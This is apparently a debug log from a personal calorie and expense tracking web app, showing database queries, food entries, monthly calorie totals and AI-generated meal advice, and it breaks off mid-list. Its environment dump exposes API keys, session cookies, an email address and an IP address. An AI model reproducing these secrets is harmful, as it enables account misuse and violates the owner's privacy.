2025-12-22T08:40:05.452Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-22T08:40:05.452Z server-connect:app Executing action step select
2025-12-22T08:40:05.452Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-22T08:40:05.454Z server-connect:output item_list: [
  {
    id: 478,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Banana',
    calories: 105,
    protein_gm: 1,
    carbs_gm: 27,
    fat_gm: 0,
    quantity: '1 medium',
    replacements: 'Berries (strawberries, blueberries),Apple slices,Cucumber',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 1,
    skip_reason: 'Good source of quick energy and potassium for pre-workout.'
  },
  {
    id: 479,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee,Green tea',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 1,
    skip_reason: 'Designed to boost energy and performance for workouts. Calories are usually minimal.'
  },
  {
    id: 480,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, similar calories),Egg whites (lower fat, more volume)',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development and recovery, especially post-workout.'
  },
  {
    id: 481,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Wheat Semolina Pasta (homemade)',
    calories: 150,
    protein_gm: 5,
    carbs_gm: 30,
    fat_gm: 1,
    quantity: '1 serving (approx 100g cooked)',
    replacements: 'Zucchini noodles,Shirataki noodles,Whole wheat pasta (slightly more fiber, similar calories)',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 2,
    skip_reason: 'Provides carbohydrates for energy, but refined semolina can be replaced with whole wheat for more fiber and sustained energy. For muscle development, carbs are important, but quality matters.'
  },
  {
    id: 482,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Matar (Green Peas)',
    calories: 40,
    protein_gm: 3,
    carbs_gm: 7,
    fat_gm: 0,
    quantity: 'Mixed with pasta (approx 50g)',
    replacements: 'Spinach,Broccoli,Cauliflower',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 1,
    skip_reason: 'Good source of fiber, vitamins, and some plant-based protein. Excellent addition to a meal.'
  },
  {
    id: 483,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Milk Tea',
    calories: 75,
    protein_gm: 4,
    carbs_gm: 8,
    fat_gm: 4,
    quantity: '1 small cup (approx 150ml)',
    replacements: 'Black tea with lemon,Green tea,Herbal tea,Tea with skim milk and no sugar',
    created_at: '2025-12-22T00:19:50.000Z',
    skip_level: 2,
    skip_reason: 'Contains sugar and milk, which add calories. While not terrible, for muscle development, focusing on protein and complex carbs is better. Can be enjoyed in moderation.'
  },
  {
    id: 484,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'White Sugar',
    calories: 16,
    protein_gm: 0,
    carbs_gm: 4,
    fat_gm: 0,
    quantity: '1 spoon (assuming 1 teaspoon, approx 4g)',
    replacements: 'Artificial sweeteners (stevia, erythritol, sucralose),Less sugar,Small amount of honey (still caloric, but some nutritional benefits)',
    created_at: '2025-12-22T00:19:50.000Z',
    skip_level: 3,
    skip_reason: 'High in empty calories, provides no nutritional value, and can contribute to sugar crashes. For muscle development, these calories are better spent on nutrient-dense foods.'
  },
  {
    id: 485,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 1,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Water,Black coffee (no sugar/milk)',
    created_at: '2025-12-22T00:19:50.000Z',
    skip_level: 1,
    skip_reason: 'Excellent choice. Very low in calories, rich in antioxidants, and can aid metabolism. No reason to skip.'
  }
]
2025-12-22T08:40:05.454Z server-connect:app Executing action step setvalue
2025-12-22T08:40:05.454Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-22T08:40:05.454Z server-connect:output var_total: 518
2025-12-22T08:40:05.454Z server-connect:app Executing action step setvalue
2025-12-22T08:40:05.454Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-22T08:40:05.455Z server-connect:output var_consumed: 22
2025-12-22T08:40:05.455Z server-connect:app Executing action step setvalue
2025-12-22T08:40:05.455Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-22T08:40:05.455Z server-connect:output var_deficit: 1882
2025-12-22T08:40:05.455Z server-connect:app Executing action step custom
2025-12-22T08:40:05.455Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-22T08:40:05.456Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  },
  {
    intake_date: 2025-12-20T18:30:00.000Z,
    total_consumed: '972',
    surplus_or_deficit: '1428',
    status_flag: 2
  },
  {
    intake_date: 2025-12-21T18:30:00.000Z,
    total_consumed: '518',
    surplus_or_deficit: '1882',
    status_flag: 2
  }
]
2025-12-22T08:40:06.265Z server-connect:app Executing action step identify
2025-12-22T08:40:06.265Z server-connect:app options: { provider: 'security' }
2025-12-22T08:40:06.265Z server-connect:output identity: 1
2025-12-22T08:40:15.400Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-22T08:40:15.401Z server-connect:app Executing action step identify
2025-12-22T08:40:15.401Z server-connect:app options: { provider: 'security' }
2025-12-22T08:40:15.401Z server-connect:output identity: 1
2025-12-22T08:40:15.401Z server-connect:app Executing action step restrict
2025-12-22T08:40:15.401Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T08:40:15.401Z server-connect:output restrict: undefined
2025-12-22T08:40:15.401Z server-connect:app Executing action step processWithGemini
2025-12-22T08:40:15.401Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-22T08:40:19.268Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Aalo Gobi Sukhi Sabji',
      quantity: '1 serving (approx 150g)',
      calories_consumed: 150,
      total_calories: 150,
      protein: 4.5,
      carbs: 18,
      fat: 7.5,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Generally healthy, but portion size and oil content can impact calorie count. Good source of vegetables.'
    },
    {
      food_name: 'Roti',
      quantity: '3 rotis (approx 30g each)',
      calories_consumed: 90,
      total_calories: 270,
      protein: 9,
      carbs: 57,
      fat: 3,
      lower_calorie_alternatives: [Array],
      skip_level: 2,
      skip_reason: 'While a staple, 3 rotis can contribute significantly to carb intake. For muscle development, focus on complex carbs and protein. Can be reduced or swapped for higher fiber options.'
    }
  ],
  total_macros: {
    protein: { value: 13.5, unit: 'g' },
    carbs: { value: 75, unit: 'g' },
    fat: { value: 10.5, unit: 'g' },
    total_calories: { value: 420, unit: 'kcal' }
  },
  overall_recommendation: 'For muscle development with a desk job and early morning gym, this meal provides a decent amount of carbs for energy and some protein. However, to optimize for muscle growth, consider increasing protein intake and potentially reducing the number of rotis or swapping them for higher protein/fiber alternatives. Adding a source of lean protein like chicken breast, paneer, or lentils would be beneficial. The Aalo Gobi is good, but be mindful of the oil used in preparation.'
}
2025-12-22T08:40:22.198Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-22T08:40:22.199Z server-connect:app Executing action step identify
2025-12-22T08:40:22.199Z server-connect:app options: { provider: 'security' }
2025-12-22T08:40:22.199Z server-connect:output identity: 1
2025-12-22T08:40:22.199Z server-connect:app Executing action step restrict
2025-12-22T08:40:22.199Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T08:40:22.200Z server-connect:output restrict: undefined
2025-12-22T08:40:22.200Z server-connect:app Executing action step condition
2025-12-22T08:40:22.200Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-22T08:40:22.200Z server-connect:app Executing action step repeat
2025-12-22T08:40:22.200Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-22T08:40:22.200Z server-connect:app Executing action step insert
2025-12-22T08:40:22.200Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-22T08:40:22.201Z server-connect:output calories: { affected: 1, identity: 486 }
2025-12-22T08:40:22.201Z server-connect:app Executing action step insert
2025-12-22T08:40:22.201Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-22T08:40:22.202Z server-connect:output calories: { affected: 1, identity: 487 }
2025-12-22T08:40:22.202Z server-connect:output repeat: [ {}, {} ]
2025-12-22T08:40:22.202Z server-connect:output condition: undefined
2025-12-22T08:40:22.398Z server-connect:router Serving templateView /calorie-tracker
2025-12-22T08:40:22.398Z server-connect:app Executing action step identify
2025-12-22T08:40:22.398Z server-connect:app options: { provider: 'security' }
2025-12-22T08:40:22.398Z server-connect:output identity: 1
2025-12-22T08:40:22.398Z server-connect:app Executing action step restrict
2025-12-22T08:40:22.398Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T08:40:22.399Z server-connect:output restrict: undefined
2025-12-22T08:40:22.399Z server-connect:router Render template layouts/main
2025-12-22T08:40:22.399Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-23T03:42:10.843Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-22T08:40:22.596Z server-connect:app Executing action step identify
2025-12-22T08:40:22.596Z server-connect:app options: { provider: 'security' }
2025-12-22T08:40:22.596Z server-connect:output identity: 1
2025-12-22T08:40:22.965Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-22T08:40:22.965Z server-connect:app Executing action step identify
2025-12-22T08:40:22.966Z server-connect:app options: { provider: 'security' }
2025-12-22T08:40:22.966Z server-connect:output identity: 1
2025-12-22T08:40:22.966Z server-connect:app Executing action step restrict
2025-12-22T08:40:22.966Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T08:40:22.966Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-22T08:40:22.966Z server-connect:app Executing action step identify
2025-12-22T08:40:22.966Z server-connect:app options: { provider: 'security' }
2025-12-22T08:40:22.967Z server-connect:output identity: 1
2025-12-22T08:40:22.967Z server-connect:app Executing action step restrict
2025-12-22T08:40:22.967Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T08:40:22.967Z server-connect:output restrict: undefined
2025-12-22T08:40:22.967Z server-connect:app Executing action step select
2025-12-22T08:40:22.967Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-22T08:40:22.967Z server-connect:output restrict: undefined
2025-12-22T08:40:22.967Z server-connect:app Executing action step single
2025-12-22T08:40:22.967Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-22T08:40:22.968Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-22T08:40:22.971Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
